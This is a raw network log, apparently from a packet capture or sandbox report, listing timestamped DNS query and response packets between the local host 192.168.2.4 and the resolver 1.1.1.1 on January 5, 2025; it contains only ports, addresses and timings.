Jan 5, 2025 10:50:39.688988924 CET	53	60765	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:39.709156990 CET	59361	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:39.731591940 CET	53	59361	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:39.819617033 CET	56988	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:39.828300953 CET	53	56988	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:39.840030909 CET	50089	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:39.846914053 CET	53	50089	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:39.849998951 CET	61546	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:39.858714104 CET	53	61546	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:39.929353952 CET	63403	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:40.208499908 CET	53	63403	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:40.211930990 CET	58446	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:40.306507111 CET	53	58446	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:40.382289886 CET	65338	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:40.421399117 CET	53	65338	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:40.441147089 CET	50916	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:40.607363939 CET	53	50916	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:40.680057049 CET	59641	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:40.704366922 CET	53	59641	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:40.743196011 CET	61747	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:40.846270084 CET	53	61747	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:40.913778067 CET	57375	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:40.922960997 CET	53	57375	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:40.951006889 CET	56662	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:40.968857050 CET	53	56662	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:41.039361954 CET	64558	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:41.065907955 CET	53	64558	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:41.074137926 CET	63614	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:41.094178915 CET	53	63614	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:41.164489985 CET	57971	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:41.223162889 CET	53	57971	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:41.278717995 CET	63435	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:41.287564039 CET	53	63435	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:41.289508104 CET	50809	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:41.299468994 CET	53	50809	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:41.383877993 CET	54712	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:41.394326925 CET	53	54712	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:41.397141933 CET	50235	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:41.414411068 CET	53	50235	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:41.492925882 CET	51401	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:41.523320913 CET	53	51401	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:41.529743910 CET	57469	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:41.547368050 CET	53	57469	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:41.617260933 CET	64440	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:41.628123045 CET	53	64440	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:41.632742882 CET	52950	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:41.725198030 CET	53	52950	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:42.106770992 CET	58321	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:42.117427111 CET	53	58321	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:42.120724916 CET	62391	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:42.165831089 CET	53	62391	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:42.241847992 CET	52879	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:42.266669989 CET	53	52879	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:42.269155025 CET	50666	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:42.389297009 CET	53	50666	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:42.460386038 CET	65017	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:42.486212969 CET	53	65017	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:42.488706112 CET	50453	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:42.515371084 CET	53	50453	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:42.585182905 CET	55320	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:42.597258091 CET	53	55320	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:42.621036053 CET	56198	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:42.631834984 CET	53	56198	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:42.634161949 CET	60812	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:42.642138004 CET	53	60812	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:42.736260891 CET	55688	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:42.755342007 CET	53	55688	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:42.767625093 CET	62962	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:42.776443958 CET	53	62962	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:42.779496908 CET	65062	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:42.787009954 CET	53	65062	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:42.866533995 CET	62524	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:42.876523018 CET	53	62524	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:42.881222010 CET	60970	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:42.890218973 CET	53	60970	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:42.960094929 CET	64473	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:42.969144106 CET	53	64473	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:42.976303101 CET	61018	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:42.986936092 CET	53	61018	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:43.054160118 CET	63151	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:43.063905954 CET	53	63151	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:43.069639921 CET	52907	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:43.081069946 CET	53	52907	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:43.147939920 CET	64812	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:43.167047977 CET	53	64812	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:43.183403015 CET	51988	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:43.192207098 CET	53	51988	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:43.195569038 CET	50574	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:43.203063965 CET	53	50574	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:43.274010897 CET	60794	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:43.537792921 CET	53	60794	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:43.548934937 CET	59114	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:43.586958885 CET	53	59114	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:43.672157049 CET	52169	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:43.691140890 CET	53	52169	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:43.703172922 CET	57732	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:43.711905003 CET	53	57732	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:43.788733006 CET	60725	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:44.064332962 CET	53	60725	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:44.074866056 CET	56958	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:44.438249111 CET	53	56958	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:44.726819992 CET	64219	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:44.762070894 CET	53	64219	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:44.765477896 CET	53527	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:45.037623882 CET	53	53527	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:45.101330996 CET	58750	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:45.989056110 CET	53	58750	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:45.993717909 CET	64800	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:46.112864017 CET	53	64800	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:46.179440975 CET	49269	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:46.190736055 CET	53	49269	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:46.270052910 CET	64078	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:46.279274940 CET	53	64078	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:46.294426918 CET	54789	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:46.304285049 CET	53	54789	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:46.366718054 CET	56242	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:46.555567026 CET	53	56242	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:46.558587074 CET	57325	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:46.651972055 CET	53	57325	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:46.725987911 CET	53681	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:46.734581947 CET	53	53681	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:46.901976109 CET	51499	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:46.911135912 CET	53	51499	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:46.992743015 CET	62553	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:47.010802031 CET	53	62553	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:47.081962109 CET	52416	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:47.089081049 CET	53	52416	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:47.096395969 CET	49532	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:47.103266954 CET	53	49532	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:47.240525007 CET	51451	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:47.249891996 CET	53	51451	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:47.338781118 CET	64480	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:47.348093033 CET	53	64480	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:47.415134907 CET	60700	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:47.473643064 CET	53	60700	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:47.513153076 CET	64684	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:47.522929907 CET	53	64684	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:47.533411026 CET	58640	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:47.542838097 CET	53	58640	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:47.641282082 CET	51618	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:47.706733942 CET	53	51618	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:47.712696075 CET	60156	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:47.769974947 CET	53	60156	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:47.835427999 CET	61939	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:47.854870081 CET	53	61939	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:47.857691050 CET	50123	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:47.891568899 CET	53	50123	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:47.977194071 CET	54288	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:48.163678885 CET	53	54288	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:48.176211119 CET	51238	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:48.268533945 CET	53	51238	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:48.335621119 CET	52503	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:48.416233063 CET	53	52503	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:48.419095993 CET	60061	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:48.454494953 CET	53	60061	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:48.524988890 CET	56925	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:48.712402105 CET	53	56925	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:48.720763922 CET	55364	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:48.814822912 CET	53	55364	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:48.935789108 CET	57592	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:49.108330965 CET	53	57592	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:49.129856110 CET	60885	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:49.139008045 CET	53	60885	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:49.141885996 CET	59590	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:49.158704042 CET	53	59590	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:49.226325989 CET	52119	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:49.267776966 CET	53	52119	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:49.271040916 CET	57649	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:49.319360018 CET	53	57649	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:49.387742996 CET	56064	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:49.398925066 CET	53	56064	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:49.426203966 CET	50538	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:49.437596083 CET	53	50538	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:49.509330988 CET	50100	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:49.774707079 CET	53	50100	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:49.778510094 CET	53053	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:49.841845036 CET	53	53053	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:49.913594961 CET	62519	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:49.925359011 CET	53	62519	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:49.933310032 CET	62931	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:49.942565918 CET	53	62931	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:50.007807016 CET	64206	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:50.017117977 CET	53	64206	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:50.020456076 CET	65008	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:50.058269978 CET	53	65008	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:50.132205963 CET	53473	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:50.213970900 CET	53	53473	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:50.218347073 CET	50996	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:50.230370045 CET	53	50996	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:50.304084063 CET	59273	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:50.313483953 CET	53	59273	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:50.315252066 CET	51356	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:50.328530073 CET	53	51356	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:50.398305893 CET	53883	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:50.416855097 CET	53	53883	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:50.427097082 CET	62099	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:50.436597109 CET	53	62099	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:50.440258980 CET	62766	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:50.447321892 CET	53	62766	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:50.507486105 CET	50727	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:50.558310986 CET	53	50727	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:50.562431097 CET	51068	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:50.608671904 CET	53	51068	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:50.679996967 CET	57162	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:51.621526957 CET	53	57162	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:51.651118994 CET	61965	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:52.522386074 CET	53	61965	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:52.585782051 CET	64158	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:52.637737989 CET	53	64158	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:52.640237093 CET	57881	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:52.703289986 CET	53	57881	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:52.799464941 CET	51221	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:53.063796043 CET	53	51221	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:53.067409992 CET	52999	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:53.325254917 CET	53	52999	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:53.398107052 CET	63723	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:53.407818079 CET	53	63723	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:53.422480106 CET	65009	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:53.431581974 CET	53	65009	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:53.436753988 CET	63720	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:53.443980932 CET	53	63720	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:53.538742065 CET	53537	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:53.548363924 CET	53	53537	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:53.593154907 CET	58573	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:53.602088928 CET	53	58573	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:53.666379929 CET	60061	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:53.681421995 CET	53	60061	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:53.691328049 CET	57339	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:53.700556040 CET	53	57339	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:53.703480005 CET	62298	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:53.712591887 CET	53	62298	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:53.774561882 CET	63573	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:53.783653021 CET	53	63573	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:53.879332066 CET	56426	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:53.888556004 CET	53	56426	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:53.894305944 CET	50425	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:53.903040886 CET	53	50425	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:53.977299929 CET	51759	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:54.019779921 CET	53	51759	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:54.025863886 CET	60010	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:54.081584930 CET	53	60010	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:54.149236917 CET	50288	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:54.158444881 CET	53	50288	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:54.160917044 CET	63284	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:54.194456100 CET	53	63284	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:54.257780075 CET	61818	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:54.267512083 CET	53	61818	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:54.270742893 CET	62476	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:54.280023098 CET	53	62476	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:54.351619005 CET	49513	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:54.410304070 CET	53	49513	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:54.510696888 CET	53408	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:54.520711899 CET	53	53408	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:54.527297020 CET	63839	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:54.534528017 CET	53	63839	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:54.601290941 CET	56597	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:54.663651943 CET	53	56597	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:54.669758081 CET	58469	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:54.703773022 CET	53	58469	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:54.773101091 CET	54535	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:54.781405926 CET	53	54535	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:54.877331972 CET	55137	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:54.886580944 CET	53	55137	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:54.889740944 CET	56522	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:54.899241924 CET	53	56522	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:54.960403919 CET	52809	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:54.979278088 CET	53	52809	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:54.981503963 CET	50536	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:55.001642942 CET	53	50536	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:55.069762945 CET	59088	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:55.093003988 CET	53	59088	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:55.095277071 CET	55883	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:55.124182940 CET	53	55883	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:55.195045948 CET	54529	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:55.213541985 CET	53	54529	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:55.217641115 CET	50456	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:55.239593029 CET	53	50456	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:55.304260969 CET	55241	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:55.341078043 CET	53	55241	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:55.345861912 CET	51585	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:55.381608009 CET	53	51585	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:55.445697069 CET	55283	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:55.479667902 CET	53	55283	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:55.484055996 CET	55287	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:55.507781029 CET	53	55287	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:55.569885015 CET	50684	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:55.586174965 CET	53	50684	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:55.589860916 CET	51069	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:55.599416018 CET	53	51069	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:55.665083885 CET	60374	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:56.541493893 CET	53	60374	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:56.551290035 CET	56468	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:56.737195969 CET	53	56468	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:56.804343939 CET	61918	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:56.813647032 CET	53	61918	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:56.816196918 CET	55937	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:56.825303078 CET	53	55937	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:56.883048058 CET	60815	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:57.164314032 CET	53	60815	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:57.167799950 CET	56614	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:57.447319031 CET	53	56614	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:57.508929014 CET	64642	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:57.521205902 CET	53	64642	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:57.528871059 CET	63271	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:57.537784100 CET	53	63271	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:57.602315903 CET	63628	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:57.849380016 CET	53	63628	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:57.958839893 CET	60777	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:57.968009949 CET	53	60777	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:58.050362110 CET	49453	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:58.057447910 CET	53	49453	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:58.153301954 CET	64073	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:58.172734022 CET	53	64073	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:58.380356073 CET	62807	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:58.388938904 CET	53	62807	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:58.392467022 CET	55774	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:58.399975061 CET	53	55774	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:58.460988998 CET	58465	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:58.476890087 CET	53	58465	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:58.485316992 CET	58294	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:58.494040012 CET	53	58294	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:58.554584026 CET	60828	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:58.826286077 CET	53	60828	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:58.829181910 CET	60378	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:58.836415052 CET	53	60378	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:58.897811890 CET	56088	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:58.909113884 CET	53	56088	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:58.911412954 CET	52099	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:58.920654058 CET	53	52099	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:58.978435993 CET	60672	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:58.987318039 CET	53	60672	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:59.000897884 CET	63077	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:59.009737968 CET	53	63077	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:59.069621086 CET	54828	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:59.090958118 CET	53	54828	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:59.150712013 CET	57746	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:59.161910057 CET	53	57746	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:59.163980961 CET	60023	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:59.171262026 CET	53	60023	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:59.225841045 CET	54677	53	192.168.2.4	1.1.1.1
